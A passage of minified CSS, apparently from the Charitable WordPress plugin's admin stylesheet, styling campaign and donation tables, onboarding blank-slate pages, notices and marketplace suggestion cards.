a.charitable-notification-inbox{position:relative}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox svg{width:30px;height:34.5px;margin:0;padding:0;position:relative;top:-4px;color:#8c8e96}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox .number{position:absolute;background-color:#df2a4a;width:16px;height:16px;font-weight:600;font-size:10px;color:#fff;right:-3px;top:-5px;margin:0;margin-left:0px;animation:wpchar-bounce-in 1.2s 5;z-index:2}#charitable-admin-header .charitable-header-logos ul li a:hover{opacity:0.5}@keyframes wpchar-bounce-in{0%, 30%, 50%, 80%, 100%{transform:translateY(0);opacity:1}40%{transform:translateY(-10px)}60%{transform:translateY(-5px)}}body.post-type-campaign{}body.post-type-campaign #posts-filter input,body.post-type-campaign #posts-filter select,body.post-type-campaign #posts-filter textarea,body.post-type-campaign #posts-filter button{font-family:\"Inter\", sans-serif !important}body.post-type-campaign table{border-color:#DDD}body.post-type-campaign table thead th a,body.post-type-campaign table tfoot th a{color:#6A6C77;font-weight:500}body.post-type-campaign table thead th,body.post-type-campaign table tfoot th,body.post-type-campaign table thead td,body.post-type-campaign table tfoot td{border-color:#DDD}body.post-type-campaign table td.title{font-weight:400;padding-right:50px}body.post-type-campaign table td.title a{font-weight:400}body.post-type-campaign h1{font-family:\"Inter\", sans-serif;font-weight:500}body.post-type-campaign h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-campaign #screen-meta-links{display:none}body.post-type-campaign.edit-tags-php p.search-box{position:relative;right:0;bottom:0;margin-top:20px;display:none}body.post-type-campaign.edit-tags-php span.subtitle{padding:0;margin:25px 0 0 0;display:block;width:100%}body.post-type-campaign select,body.post-type-campaign input#search-submit,body.post-type-campaign #input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0}body.post-type-campaign form#posts-filter .tablenav{font-family:\"Inter\", sans-serif}body.post-type-campaign form#posts-filter .tablenav select{min-width:160px}body.post-type-campaign form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-campaign form#posts-filter .tablenav.top select,body.post-type-campaign form#posts-filter .tablenav.top button{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-campaign form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-campaign form#posts-filter .tablenav.bottom select,body.post-type-campaign form#posts-filter .tablenav.bottom button{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-campaign .charitable-campaign-legacy-actions,body.post-type-campaign .charitable-campaign-export-actions,body.post-type-campaign .charitable-campaign-filter-actions{font-family:\"Inter\", sans-serif}body.post-type-campaign .charitable-campaign-legacy-actions a,body.post-type-campaign .charitable-campaign-export-actions a,body.post-type-campaign .charitable-campaign-filter-actions a{font-size:14px;pointer-events:all;line-height:19px;color:#2B66D1;font-weight:500;display:inline-block;padding-top:8px}body.post-type-campaign .charitable-campaign-legacy-actions a label,body.post-type-campaign .charitable-campaign-export-actions a label,body.post-type-campaign .charitable-campaign-filter-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px;cursor:pointer}body.post-type-campaign .charitable-campaign-legacy-actions a img,body.post-type-campaign .charitable-campaign-export-actions a img,body.post-type-campaign .charitable-campaign-filter-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-campaign .charitable-campaign-legacy-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-export-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-filter-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-campaign .charitable-campaign-legacy-actions a img{width:33px;height:32px;display:block;float:left;margin:2px -2px 0 -5px}body.post-type-campaign .charitable-campaign-filter-actions{margin-right:10px}body.post-type-campaign .charitable-campaign-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-campaign .charitable-legacy-actions{margin-left:10px;margin-top:3px}body.post-type-campaign input#post-search-input{border-color:#E4E4E7}body.post-type-campaign .jconfirm .jconfirm-cell{display:block}body.post-type-campaign.edit-php.post-type-campaign th.check-column label:hover{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .check-column input:hover + label{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column,body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td{vertical-align:top;padding-top:20px;height:80px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-actions{padding-top:19px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-campaign.edit-php.post-type-campaign .donated .meter{height:10px;position:relative;background:lightgray;padding:0px;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255, 255, 255, 0.3)}body.post-type-campaign.edit-php.post-type-campaign .donated .meter > span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom, rgb(43, 194, 83) 37%, rgb(84, 240, 84) 69%);box-shadow:inset 0 2px 9px rgba(255, 255, 255, 0.3), inset 0 -2px 6px rgba(0, 0, 0, 0.4);position:relative;overflow:hidden}body.post-type-campaign.edit-php.post-type-campaign .column-status mark{padding:0px 0px;margin:0;text-align:center;white-space:nowrap;background:white;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .tablenav.top > .tablenav-pages{display:none}body.post-type-campaign #wpbody-content .page-title-action{background-color:#5AA152;border-radius:5px;border-color:#5AA152;color:#ffffff;height:28px;display:inline-block;padding-top:0;padding-bottom:0;line-height:26px;top:-2px}body.post-type-campaign #wpbody-content .page-title-action:hover{background-color:#3f7539}body.post-type-campaign.charitable-trash .charitable-export-actions{display:none}body.post-type-campaign.charitable-trash #delete_all{margin-top:0 !important;background-color:#F8F8F9;border:1px solid #D7D7DB;border-radius:5px;box-shadow:none;color:#5C5F6A;font-weight:600 !important}@media screen and (max-width:1200px){body.post-type-campaign form#posts-filter .tablenav.top{display:table}body.post-type-campaign form#posts-filter .tablenav.top select{margin-bottom:15px}}@media screen and (max-width:782px){body.post-type-campaign .tablenav .view-switch, body.post-type-campaign .tablenav.top .actions{display:block !important}body.post-type-campaign p.search-box{position:relative;margin:0;right:auto;top:auto}body.post-type-campaign.admin-bar #charitable-admin-header{margin-top:46px}body.charitable_page_charitable-reports #wpbody, body.charitable_page_charitable-tools #wpbody, body.charitable_page_charitable-about #wpbody{padding-top:0}body.charitable_page_charitable-reports .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before, body.charitable_page_charitable-tools .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before, body.charitable_page_charitable-about .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{display:none}body.charitable_page_charitable-reports .tablenav .view-switch, body.charitable_page_charitable-reports .tablenav.top .actions, body.charitable_page_charitable-tools .tablenav .view-switch, body.charitable_page_charitable-tools .tablenav.top .actions, body.charitable_page_charitable-about .tablenav .view-switch, body.charitable_page_charitable-about .tablenav.top .actions{display:block !important}body.charitable_page_charitable-reports h2.nav-tab-wrapper, body.charitable_page_charitable-tools h2.nav-tab-wrapper, body.charitable_page_charitable-about h2.nav-tab-wrapper{margin-bottom:0px !important;margin-top:0 !important}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab, body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab, body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab{margin-top:10px !important;margin-bottom:10px !important}body.charitable_page_charitable-reports.admin-bar #charitable-admin-header, body.charitable_page_charitable-tools.admin-bar #charitable-admin-header, body.charitable_page_charitable-about.admin-bar #charitable-admin-header{padding-top:46px}body.charitable_page_charitable-dashboard .tablenav.top .actions, body.charitable_page_charitable-dashboard .tablenav .view-switch{display:block !important;width:100%}}\u002F* * Override the margin-top:46px rule above for the campaign header — keep it * flush against the admin bar at narrow viewports rather than leaving an * empty 46px gap. Cascade order makes this rule win at \u003C=782px since both * media queries match and this one is declared later. *\u002F@media screen and (max-width:782px){body.post-type-campaign.admin-bar #charitable-admin-header{margin-top:0}}@media screen and (max-width:600px){body.admin-bar.post-type-campaign #charitable-admin-header, body.admin-bar.charitable_page_charitable-dashboard #charitable-admin-header{margin-bottom:-46px;padding-top:46px;margin-top:0}body.admin-bar.post-type-campaign .row-actions span.id, body.admin-bar.charitable_page_charitable-dashboard .row-actions span.id{color:black;line-height:24px;font-size:13px;margin-left:8px;margin-right:0px}}body[class*=charitable_page_] .search-box input[name=s],body.post-type-campaign .search-box input[name=s],body.post-type-donation .search-box input[name=s]{margin:2px 4px 0 0;height:34px}body[class*=charitable_page_] input#search-submit,body.post-type-campaign input#search-submit,body.post-type-donation input#search-submit{margin-top:2px;height:34px}body[class*=charitable_page_] .alignleft.actions input[type=submit],body[class*=charitable_page_] .alignleft.actions select,body.post-type-campaign .alignleft.actions input[type=submit],body.post-type-campaign .alignleft.actions select,body.post-type-donation .alignleft.actions input[type=submit],body.post-type-donation .alignleft.actions select{min-height:32px;height:38px}body[class*=charitable_page_] .charitable-campaign-action-button,body.post-type-campaign .charitable-campaign-action-button,body.post-type-donation .charitable-campaign-action-button{cursor:pointer;padding:5px 4px;border:1px solid #E1E3E5;background-color:white;width:20px;height:18px;border-radius:3px;color:#5F616B;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px;line-height:23px}body[class*=charitable_page_] .charitable-campaign-action-button:hover,body.post-type-campaign .charitable-campaign-action-button:hover,body.post-type-donation .charitable-campaign-action-button:hover{color:white}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list td{vertical-align:middle;padding-top:20px;padding-bottom:20px;height:auto}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list tr.child td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list tr.child td{padding-top:0;padding-bottom:0}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-export-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-export-actions{margin-left:0px}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-legacy-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-legacy-actions{margin-left:15px}.body.post-type-campaign.edit-php.charitable-campaigns-0-trash .charitable-campaign-legacy-actions{display:none !important}body.post-type-donation{}body.post-type-donation #posts-filter input,body.post-type-donation #posts-filter select,body.post-type-donation #posts-filter textarea,body.post-type-donation #posts-filter button{font-family:\"Inter\", sans-serif !important}body.post-type-donation table{border-color:#DDD}body.post-type-donation table thead th a,body.post-type-donation table tfoot th a{color:#6A6C77;font-weight:500}body.post-type-donation table thead th,body.post-type-donation table tfoot th,body.post-type-donation table thead td,body.post-type-donation table tfoot td{border-color:#DDD}body.post-type-donation table td.title{font-weight:400;padding-right:50px}body.post-type-donation table td.title a{font-weight:400;color:#454955}body.post-type-donation h1{font-family:\"Inter\", sans-serif;font-weight:500}body.post-type-donation h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-donation #screen-meta-links{display:none}body.post-type-donation p.search-box{position:absolute;right:20px;top:auto;margin-top:39px}body.post-type-donation select,body.post-type-donation input#search-submit,body.post-type-donation input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}body.post-type-donation form#posts-filter .tablenav{font-family:\"Inter\", sans-serif}body.post-type-donation form#posts-filter .tablenav select{min-width:160px}body.post-type-donation form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-donation form#posts-filter .tablenav.top select,body.post-type-donation form#posts-filter .tablenav.top button{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-donation form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-donation form#posts-filter .tablenav.bottom select,body.post-type-donation form#posts-filter .tablenav.bottom button{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-donation .charitable-donation-legacy-actions,body.post-type-donation .charitable-donation-export-actions,body.post-type-donation .charitable-donation-filter-actions{font-family:\"Inter\", sans-serif}body.post-type-donation .charitable-donation-legacy-actions a,body.post-type-donation .charitable-donation-export-actions a,body.post-type-donation .charitable-donation-filter-actions a{font-size:14px;line-height:19px;color:#2B66D1;font-weight:500;display:inline-block;padding-top:9px}body.post-type-donation .charitable-donation-legacy-actions a label,body.post-type-donation .charitable-donation-export-actions a label,body.post-type-donation .charitable-donation-filter-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px}body.post-type-donation .charitable-donation-legacy-actions a img,body.post-type-donation .charitable-donation-export-actions a img,body.post-type-donation .charitable-donation-filter-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-donation .charitable-donation-legacy-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-export-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-filter-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-donation .charitable-donations-clear.button{padding-top:4px;margin-left:10px;margin-top:2px}body.post-type-donation .charitable-donation-legacy-actions a{color:green}body.post-type-donation .charitable-donation-legacy-actions a img{margin-top:2px}body.post-type-donation .charitable-donation-filter-actions{margin-right:10px}body.post-type-donation .charitable-donation-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-donation input#post-search-input{border-color:#E4E4E7}body.post-type-donation #wpbody-content .page-title-action{background-color:#00a32a;color:#ffffff}body.post-type-donation #wpbody-content .charitable-donation-action-button{cursor:pointer;padding:5px 4px;border:1px solid #E1E3E5;background-color:white;width:20px;height:18px;border-radius:3px;color:#5F616B;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px}body.post-type-donation #wpbody-content .charitable-donation-action-button:hover{color:white}body.post-type-donation .jconfirm .jconfirm-cell{display:block}body.post-type-donation.edit-php.post-type-donation tbody#the-list td{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column,body.post-type-donation.edit-php.post-type-donation tbody#the-list td{vertical-align:top;padding-top:20px}body.post-type-donation.edit-php.post-type-donation tbody#the-list tr.no-items td{padding-top:10px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-actions{padding-top:19px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-donation.edit-php.post-type-donation .donated .meter{height:10px;position:relative;background:lightgray;padding:0px;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255, 255, 255, 0.3)}body.post-type-donation.edit-php.post-type-donation .donated .meter > span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom, rgb(43, 194, 83) 37%, rgb(84, 240, 84) 69%);box-shadow:inset 0 2px 9px rgba(255, 255, 255, 0.3), inset 0 -2px 6px rgba(0, 0, 0, 0.4);position:relative;overflow:hidden}body.post-type-donation.edit-php.post-type-donation .column-status mark{padding:0px 0px;margin:0;text-align:center;white-space:nowrap;background:white;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-donation.edit-php.post-type-donation .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .tablenav.top > .tablenav-pages{display:none}body.post-type-donation #wpbody-content .page-title-action{background-color:#5AA152;border-radius:5px}body.post-type-donation .charitable-blank-slate{max-width:764px;text-align:center;margin:auto;padding:5em 0 0}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-hero-image{min-height:150px;opacity:0.3}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-message{color:#444;font-size:1.5em;margin:1em auto 1em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons{margin-bottom:4em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta{font-size:1.2em;padding:0.75em 1.5em;margin:0 0.25em;height:auto;display:inline-block !important;background:white;border-color:black;color:black}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button{display:inline-block;border-radius:4px;cursor:pointer;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;font-size:16px;font-weight:600 !important;line-height:19px;padding:10px 20px;border:none;background-color:#df7739;color:#ffffff;text-transform:capitalize;letter-spacing:normal;padding:15px 25px}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button:hover{background-color:#bd632f;color:white}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary{background-color:#5AA152;color:#ffffff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary:hover{color:white}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta:hover{color:black}body.wp-admin.charitable-campaigns table.wp-list-table td.column-creator a{display:flex}.charitable-blank-slate{max-width:800px;text-align:center;margin:auto;padding:2em 0 0}.charitable-blank-slate .page-header{background:white;border:1px solid #ccd0d4;padding:20px;display:flex;justify-content:space-between;align-items:center;margin:0 0 20px 0}.charitable-blank-slate .page-header .page-title{font-size:23px;font-weight:400;color:#23282d;margin:0}.charitable-blank-slate .welcome-card{background:white;border:1px solid #ccd0d4;border-radius:4px;padding:40px;text-align:center;margin-bottom:30px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04)}.charitable-blank-slate .welcome-card .welcome-title{font-size:28px;color:#23282d;margin-bottom:16px;font-weight:600}.charitable-blank-slate .welcome-card .welcome-description{font-size:16px;color:#666;margin-bottom:32px;max-width:600px;margin-left:auto;margin-right:auto;line-height:1.5}.charitable-blank-slate .btn-primary{background:#87B655;color:white;border:none;padding:8px 16px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-primary:hover{background:#7a9f4f;color:white}.charitable-blank-slate .btn-primary.btn-large{font-size:16px;padding:16px 32px;border-radius:5px}.charitable-blank-slate .btn-secondary{background:#f47c3c;color:white;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-secondary:hover{background:#e66a2a;color:white}.charitable-blank-slate .secondary-actions{display:grid;grid-template-columns:1fr;gap:20px;margin:30px auto;max-width:800px}@media (min-width:768px){.charitable-blank-slate .secondary-actions{grid-template-columns:1fr 1fr}}.charitable-blank-slate .action-card{background:white;border:1px solid #ccd0d4;text-align:left;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04)}.charitable-blank-slate .action-card h3{font-size:16px;color:#23282d;margin:0 0 20px 0;font-weight:600;text-align:left}.charitable-blank-slate .action-card p{color:#666;margin:0 0 16px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text{margin:0 0 8px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text strong{color:#23282d}.charitable-blank-slate .givewp-detection-text .givewp-count{color:#f47c3c;font-weight:700}.charitable-blank-slate .help-resources{background:white;border:1px solid #ccd0d4;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);margin:30px auto;max-width:800px;text-align:left}.charitable-blank-slate .help-resources h3{font-size:16px;color:#23282d;margin:0 0 16px 0;font-weight:600}.charitable-blank-slate .help-links{list-style:none;margin:0;padding:0}.charitable-blank-slate .help-links li{margin:0 0 8px 0;padding:0}.charitable-blank-slate .help-links li a{color:#0073aa;text-decoration:none;font-size:14px}.charitable-blank-slate .help-links li a:hover{text-decoration:underline}.charitable-blank-slate .blank-slate-feature-card{background:white;border:1px solid #ccd0d4;border-radius:4px;padding:24px;text-align:left;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);display:flex;flex-direction:column;align-items:flex-start;gap:16px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title-icon-row{display:flex;align-items:center;justify-content:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon{display:flex;align-items:center;justify-content:center}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon img{width:24px;height:24px;opacity:0.7}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-content{display:flex;flex-direction:column;align-items:flex-start;gap:12px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-button-row{display:flex;flex-direction:row;align-items:center;gap:10px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title{font-size:16px;color:#23282d;margin:0;font-weight:600;display:flex;align-items:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-pro-badge{background:#f47c3c;color:white;font-size:10px;padding:2px 6px;border-radius:2px;font-weight:600;display:inline-block;text-transform:uppercase}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-description{color:#666;margin:0;font-size:14px;line-height:1.4;text-align:left;max-width:100%}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button{background:#f47c3c;color:white;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block;font-weight:normal;transition:all 0.2s ease;text-align:center}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:hover:not(:disabled){background:#e66a2a;color:white;text-decoration:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:focus{box-shadow:0 0 0 1px #e66a2a;outline:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:disabled{opacity:0.6;cursor:not-allowed}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#87B655}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#7a9f4f}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button{background:#6c757d;color:white}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button:hover{background:#6c757d}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button{background:#f47c3c;color:white;border:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button:hover{background:#e66a2a;color:white;text-decoration:none}.blank-slate-feature-content .charitable-dashboard-v2-enhance-grid-button{padding:4px 15px !important;margin-top:2px;font-size:13px;line-height:29px;font-weight:500}\u002F* Hide WordPress admin elements on blank slate pages. Note:campaign\u002Fdonation hide rules are in inline \u003Cstyle> output by the blank slate renderer so they only apply when blank slate is active. *\u002F.charitable-growth-tools-dashboard.charitable-growth-tools-notice{position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);z-index:9999}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior{background-color:white;padding:20px;margin-top:-50px;box-shadow:0 0 30px rgba(0, 0, 0, 0.15);border-radius:4px;text-align:center;position:relative}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior h2{font-size:21px;line-height:24px;font-weight:500;margin:0 0 10px 0;font-family:\"Inter\", sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p{font-size:16px;line-height:21px;margin:5px auto;font-family:\"Inter\", sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion{margin-top:20px;font-size:12px;line-height:12px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion a{font-weight:300;color:#444}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.more-recommendations{font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why{width:75%;margin:20px auto}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why strong{text-transform:uppercase;font-weight:700;font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior a.charitable-remove-growth-tools{position:absolute;right:20px;top:20px;font-size:14px;line-height:14px;width:16px;height:16px;text-decoration:none;opacity:0.3;background-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg);color:#b6b6b6}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a{color:black;font-size:12px;line-height:14px;text-decoration:underline;font-weight:300}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a:hover{color:darkgrey}.marketplace-suggestions-container .marketplace-suggestion-container{padding:1.5em;align-items:center;flex-direction:row}.marketplace-suggestions-container h4{margin:0 auto;font-weight:500;font-size:18px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container{display:flex;position:relative}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content h4{text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content p{font-size:13px;line-height:1.5;margin:4px 0 0 0;color:#444;text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container img.marketplace-suggestion-icon{margin:0 1.5em 0 0;height:40px;flex:0 0 40px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-cta{flex:1 1 30%;min-width:160px;text-align:right}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .suggestion-dismiss{position:relative;top:5px;right:auto;margin-left:1em;color:#ddd}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.suggestion-dismiss::before{font-family:Dashicons;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;content:\"\\f335\";text-decoration:none;font-size:1.5em}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer;margin:5px auto 0 auto;display:inline-block}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link.charitable-learn-more{background-color:#f18200}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link:hover{background-color:#3f7539}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta{text-align:center}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta a.linkout{text-decoration:none;margin-right:20px;color:#999}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer 